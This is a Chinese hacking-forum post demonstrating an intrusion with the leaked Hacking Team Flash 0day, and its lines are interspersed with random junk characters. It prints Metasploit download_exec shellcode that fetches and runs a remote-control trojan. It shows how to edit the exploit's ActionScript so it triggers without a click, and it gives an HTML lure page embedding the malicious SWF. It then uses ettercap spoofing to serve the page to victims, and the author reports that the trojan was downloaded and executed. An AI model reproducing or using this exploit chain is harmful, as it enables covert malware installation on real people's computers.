找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1689|回复: 0
打印 上一主题 下一主题

flash 0day之手工代码修改制作下载者实例入侵演示

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

& `- z0 e3 D- r6 ~% V# H 三、flash 0day之手工代码修改制作下载者实例入侵演示 " B4 B( n& e( ^2 W: m

. i* Y0 G5 r, [6 E% ^7 E# T8 }4 {

3 x9 I9 a% i; s( Q 利用到的工具: ! m8 g) Y7 h% ?' c

* [# k4 A- |+ Y' o9 ]3 l

% t2 q, E" l7 @- @6 h/ O% s Msf * {* B. e! d$ O5 \2 h

4 h% w! [( `9 ? {: H5 r5 ]- \

" ]5 P/ [! l& u7 O Ettercap # y1 S3 F/ S4 Q- S( K1 H+ e& }. ^

0 ]1 j0 e- O+ N! H& H& ^% S' |) h

3 e# g# P. v8 S# K# Q& ~ Adobe Flash CS6 2 N. Y3 V: h1 l; H& q! Z

) `. _) z, N4 V! \# ]: M" g' A

% Q3 e4 r! |7 p1 X. w Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 ) K$ s" s; l8 _% V! M% L' V

2 a; l' s* |) y2 R! r: h

) h: |3 D5 M7 ^; |$ o9 F, E 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options / }9 s6 o( Z3 P1 F( L4 D- h

2 }+ r7 w6 }5 M8 x1 o$ v

% ~+ V# f9 A2 B+ r 如图: 2 u# q2 W" W+ i# d

& z( S; U$ ]9 N0 I

; _4 h4 l( T0 @   " W$ N3 X* j. _+ X6 X7 I

/ n5 X8 m9 k) |; D3 r7 m% g

7 _$ x! H3 a$ K2 `* ^   0 w5 u6 O# Q( z4 L! `

* ~1 c# ?/ u3 I+ s9 J

% t& [/ L" I4 C9 p/ Z, C) N 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: 6 E$ |8 V X4 N1 L

$ Z; G+ x5 h9 D9 V! \+ n

A# J% i V6 g1 A2 `/ J, T   3 W, p$ d+ b3 F" n, A. ~

+ v ~- K* @9 i( A$ \; C$ b/ d

( Y2 U/ v: ^4 z. u   . ]" s8 X$ F% {; G; P. \. W

# _' @: H- |8 k) t/ f; |! z+ j

! R2 }: h7 `2 t0 D' K! J- K 然后执行generate -t dword生成shellcode,如下: : {$ z; G+ }6 }, `( n4 U

9 |$ Y( @3 ~, d3 |0 ^& M% c* }) D w

( L, H2 J" d% ]! [. T   0 s4 ^* J# k9 Y

- e# \& n! ~( V- E7 c; W

+ x6 c* M, k$ L5 d 复制代码到文本下便于我们一会编辑flash exp,如下: # `/ P$ J7 M( H' f8 ` G d

: N0 G3 I O& S5 R2 t* l

" a; g8 f" _7 l3 r- H 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, / y9 I6 ^+ f+ w+ X# o. f, k

/ _2 J+ i* C# d" p o }

6 e9 r: Z. j2 R5 \! R) m1 r 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 6 O4 a+ K0 D- q4 Y \! s% p) X/ @: m

/ @8 v: B& r4 l# u3 Y

1 O" i; ? N" \# e0 N" W( d5 u& S 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, ( G4 o# ? p3 J" N

2 c. w h$ v+ `$ b1 v& L& d$ n

1 D o7 X* S8 J- R' ~ B 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, ; L8 `$ m0 t3 }0 c

+ \- h# D, d& ]

, \2 Q1 C9 z( |0 @% g6 [ 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, % C+ L1 x' h% F4 G

* {7 u* [8 K8 l, I

9 r" A; }- \- ?! H8 u( t" e 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, $ P6 T- _) Z( b+ Y

7 }+ N+ }& A3 a& m

% j9 R! H4 `* a 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, . B: i- s- ^( O* u W

) J8 Y; s0 I% g* _! U7 }0 {

# B+ }7 y7 R$ d, h7 l1 A0 @# ~ 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, " M# a% g% s! Q: p4 {; [" j

* {, l% M$ g+ A; q

; k# A, c6 a' E, | 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, ) a \7 `" |; K) F) m+ u

; A$ f+ Y# M3 L" i* E+ i

2 ~* z9 l, l j+ ?$ f 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, , ]+ }9 ?$ H* T+ \

$ d+ \! @0 |$ t6 G c* {- P) [

& E, f: u7 u& G6 S 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, ' l5 f5 f1 i" {5 [7 k7 B( T

# I3 q! }- F3 G! g p

, g. |" e$ `. k5 [: R* _( ^8 K- t 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, + `1 P7 P6 S' S$ o% B& a

" L% w. L8 D4 y

' g* b! r( V# y+ M( y 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 8 b+ r- _7 |/ E: W$ W8 Z7 q5 H8 |

& t1 A: Q; j2 ?* r* {

/ R* B$ Z% J$ V# J! D 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 % c' O/ R& i9 j

; q$ g! S \8 ^8 I. T) s

" F% z: N( s* ]5 ~   1 f1 Q8 ?' L! F8 d/ \: V

8 {; N0 Y9 ]# W9 c

5 u: E, e0 e, e4 `! R L3 P4 }   ) R4 L4 Q' H: y/ \6 F

+ [1 W4 U2 M' S

% u2 ~7 U: [3 q# P# I1 G# H( K' K 下面我们来修改flash 0day exp,需要修改三个文件,分别为: ; d) A: I9 K, g, c" X7 q' L

" t" N8 D) s. V& c) w9 u

, s! j8 d! o7 Q! \& L/ w) n   % F& _- [' o2 {, x

. n0 I) z7 P3 h. n0 m

. [; j9 P4 e: q/ Y4 r* E# I0 z 先修改ShellWin32.as,部分源代码如图: ) m1 R& F& g, i; R" ]+ K3 }

& C% g1 j1 M1 ?

3 X, b. a) c# ^6 s# l" x   " M! Y+ M0 Z& R

) v' V2 a/ U; o8 F0 m9 P# T

7 r( G3 p& n4 J3 n, N/ V 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: $ I- r8 ^' G. |% b

- |' D+ o; I( o" H2 W6 V

+ g4 T4 E2 H# n- A, H. y   : E$ @5 d: b5 ]" X' y" l

* a2 g* V5 I1 r7 J0 N& G

7 s) h: s. Y. Y L0 M 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: 2 u, I. g6 h" R x, M. B

& q* w3 L' y1 X1 Z# `6 u

5 F/ [& k% G" d( }* G7 d3 a6 P   & }0 |( f/ R8 _/ A# e0 w1 z

. I, m' p! I) w$ {, B, m1 O. W

2 \ u& l- L1 X! V M 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: / @( i6 @2 ]# S' `7 l# X6 P* }

6 |6 H* h' m0 i, ]2 A. |! z* w

! u- w" Y1 a# i3 U) M- V   3 L: g- d# z5 X

) j8 H' t$ `, _; p/ h, S

. o; x( F. _* ]3 X5 T6 j* t   5 |: N$ h+ T% p% u" ?1 J7 L7 E

0 U9 U) D! [# u8 F

7 o m5 z) n& u/ z% r" N# K6 n& |& j   9 E$ I$ A5 r6 t

) w3 ?3 T" X) o. F: F$ K2 y/ V1 Z

( }# h0 u: E a, @! K U$ i 然后点保存,下面我们来编译一下,打开 4 y( c6 G* _2 M

$ G9 y- ?6 m2 P# y, F! T' u

! h Z# `3 L$ T% y* s exp1.fla然后点文件-发布,看看编译没错误 , f% c8 N" w1 | a9 W

8 e0 K) D7 @: V- u. f. j

% p* L! F- T9 o) @ n   $ n$ J& }: A3 Y% u

" y9 h. L1 O' C [1 Q8 _0 W

Y1 Z& c- \) J4 X   6 M/ B: ]4 N6 q/ ]0 K7 A# e {6 z

, v; D6 K. `+ d ~

% |3 ]1 D/ O/ }9 s7 q- V   7 r# q8 Z6 G( f( l' U

3 T2 ?8 [! f2 ?9 ^& S# L, l2 Z7 j% f

y$ D& \; m& l" o1 R   ) k: B, C* R" O* J! V# x' z" T

% _' y6 v! _/ F# x

; }/ i) h' g' o 然后我们把生成的 & u, [1 x" X" s7 A$ l( D# {4 C5 y6 U

3 ?$ x3 l/ Y' c1 I8 q

2 V' X' m3 q6 L- a: h exp1.swf丢到kailinux 的/var/www/html下: . {7 _3 q8 R$ e, H* `' i5 p K

8 ]; U* ]+ B4 j: ?. b0 z6 h

l% b: D- D- \. N0 M6 i$ Q8 T 然后把这段代码好好编辑一下 $ _6 W# h9 ]+ }& v

9 b; }7 t8 L, J( _( |! `; R! c

1 n8 V' P5 r- }# q4 F/ t   3 J3 n1 | y9 |" ~# I/ E

/ O1 X/ b+ u, ~) Q- d3 W5 i

" @2 v8 c) [/ ~; w, m8 z F x q2 \   1 |9 K2 U) D9 A. u/ |( X

1 ` D$ h' U" \* K* I. ^6 v

1 Y1 | W( n/ H3 L1 w% T4 @3 D& I   6 F: _. b0 B: |, k7 M

9 t O( E2 W. p: ?. f

# f# n' t6 I8 ] F1 j   ( r6 `; a- c- a# x6 F$ q! K F

3 V1 x% J( O8 g, c, ~3 i( U) R

; m& {! ~( W1 l# I   - U8 G0 M, f# S1 c

( ]2 p. a2 b; J! S* T& s3 T W

0 i0 H' q" n/ y% z2 {2 f   * o/ q; j x: R

; K0 W2 {6 l9 j* M0 F

2 v9 p) j5 X1 I. U <!DOCTYPE html> / I8 X+ h! c, F8 s) o E: K

3 h( m7 K/ n4 A# @, C$ p

# k1 f; O, }, y6 d% v- {) G <html> ) u& z. c' v5 G R, G4 N* ?8 k/ z0 d

6 @" k& f8 A; j$ u7 g2 _

1 {$ i: w3 [( h/ s' B' t <head> 8 l% L3 k: q% t* Q2 f0 P

1 A2 _0 j7 z2 }$ Q: I7 E

) X" f: p% G2 A( n <meta http-equiv="Content-Type" content="text/html; 1 O. Q, ~6 T' {2 ]

0 k; o7 C* \/ h$ w! v6 R

% C+ y% H2 o/ E3 ], p$ c charset=utf-8"/> ( R2 H6 ~% V6 n$ @, v# h3 x+ |3 s

; G7 D. Q/ ~; O

- B) g7 b) F7 c/ O7 D </head> 6 l z9 Z# L$ P2 V, u% m$ C

1 R2 u* ]. x; v6 T0 |

. F1 {. [- b0 [5 g; i <body> $ o$ {( M! {4 V. U4 d1 H4 d

$ |2 E2 h# X4 z' C0 P

9 w- e8 X* T6 k1 z \/ a7 C <h2> Please wait, the requested page is loading...</h2> 7 _" y& C# u5 l

: n8 v1 B, }, C

. u5 k7 ]3 d4 t. ]; | <br> 6 B, `" j9 c" F. Y" q/ t

1 v9 | r; O) l& P

: z' H! ~5 t1 a1 j* Q <OBJECT ! q$ i* t. @4 V( R

' _; Y _. X H$ \8 v& r- H: v

1 [5 {$ U% O# N. m classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie , s9 N) E. W# m$ e- m4 c

* w/ a4 p9 e2 P

/ u7 Y, U; G* d- \. J VALUE="http://192.168.0.109/exp1.swf"></OBJECT> ) B8 A6 W* |) R- x( h& l/ u# A

) h- U$ m( Q6 n1 L

6 j1 Q }" ^0 X' r. h </body> . P3 @+ D! I1 x$ G

9 S0 G" r$ Y$ {; i3 p( K7 s* i9 z8 M

* M8 {1 o6 F+ e9 ~" I <script> Q( C, ?* T1 d9 R% C

7 J( T( S3 L7 c5 c

4 _ i5 Q' l6 g7 f- d7 X3 J     setTimeout(function () { * ]6 e% \1 w' M! W' v% |# L. N& Q

4 D; K5 H2 a0 E, ^# V# u. c" Q

) M" l! R2 f- L7 `7 O          . H' M( w! y( e+ ^* c% i

' U3 L O+ u/ j4 t$ l# I( d. J

8 z4 R, G2 B% B window.location.reload(); ) l% i# ^4 W1 _

/ H6 s$ R; H" W

- p0 u9 Y9 T& x+ ]# x     }, 10000); ) `1 X5 U/ x9 U R3 T* M4 J1 z

9 K: M: i% x3 C0 V

' A: ~# x9 v8 K$ |9 M   9 H, Q- C6 N f( c

0 V e+ Y+ i; t5 S4 X

$ E# J8 W* X; T6 Q8 H. m8 X8 O </script> ; d+ {. q4 ~3 p1 v' J- p

( i. H* {) e4 T) k" z

8 ^# k5 D# X/ Z I </html> 8 h3 d2 d0 w# b: z8 F' f

$ E& g+ j9 D% R2 ^+ \

+ g' K$ Q$ z3 A! ?# t$ X* H   8 ^1 @' C0 k; G; }

& K" B- f4 U, E( i, K/ x" D2 U

0 B% N/ b# d0 [. s- d" ?* x 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: % [0 ?' q9 J( u' C; l# @, C

( }" s2 ?+ i% m' h0 O0 B

5 y5 |2 R# U1 d5 S( }& i/ i   % v) ~) h4 r9 V/ _ f4 d, H3 K

; F; a# t- J1 v1 h7 @; W% y- W

0 i! }$ ]5 H( \* b k, u8 j   l* A8 o1 c N" L4 F

7 J5 L4 Q4 |& X, B" D

\ t4 A/ O: N, |, V; `; }   " q% B; f \- u7 L$ R; C+ |

5 y5 S! ~" {/ W; P2 |3 `

5 W/ X* @0 g$ \! _6 E   |8 D5 ]" d8 V, }

9 i) J# U6 B8 Z% d" }$ p

- Z- M9 ^2 ]% H: S/ z3 s) K   / D- a" Q, q4 }8 T* K6 Z

& Y" ^7 M8 p# U' P5 S9 [ n* \& D

C$ n) D" N0 B6 l6 x* ?. y 下面我们用ettercap欺骗如图: ! k% h0 L5 k8 }6 q5 E# d4 C

7 F: c8 S0 P+ J, \3 \# |

; v! W& ?' o: e   ( J- r) L: }6 T2 V f

3 J! w! a+ i' o, U- y

+ Q" A, a- i" v* \% N3 j3 c   ! A9 R2 ?0 ~: q! O! }' o4 Y

7 @& k7 ?5 x) d# K, M; F

2 E) u/ y! y4 ? s 下面我们随便访问个网站看看: % E' D0 O' f$ r, R0 _ Z2 y

: B3 S1 e+ {6 [8 o" M

, L: |, i( c8 |0 z( _# X1 n( X+ k 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: 2 D4 ?# ^' _* |/ S

, B5 z' ^ h0 ^: N- X3 X# k8 E

& N; U& f. p @, N   1 P6 G/ Z3 r, R: N) u/ k2 Q" p

. B7 N5 _5 W! C8 p/ b( z |& B y

7 E% n2 |6 ]4 A: X* G" c 我们看另一台, 2 \! Y$ Q4 _' s* p* u

4 J* b, x+ d8 _9 K8 L# ?- y

2 t9 w6 [) F/ _9 |! g! h6 g; i 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 5 w( Y6 S3 |0 ?

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表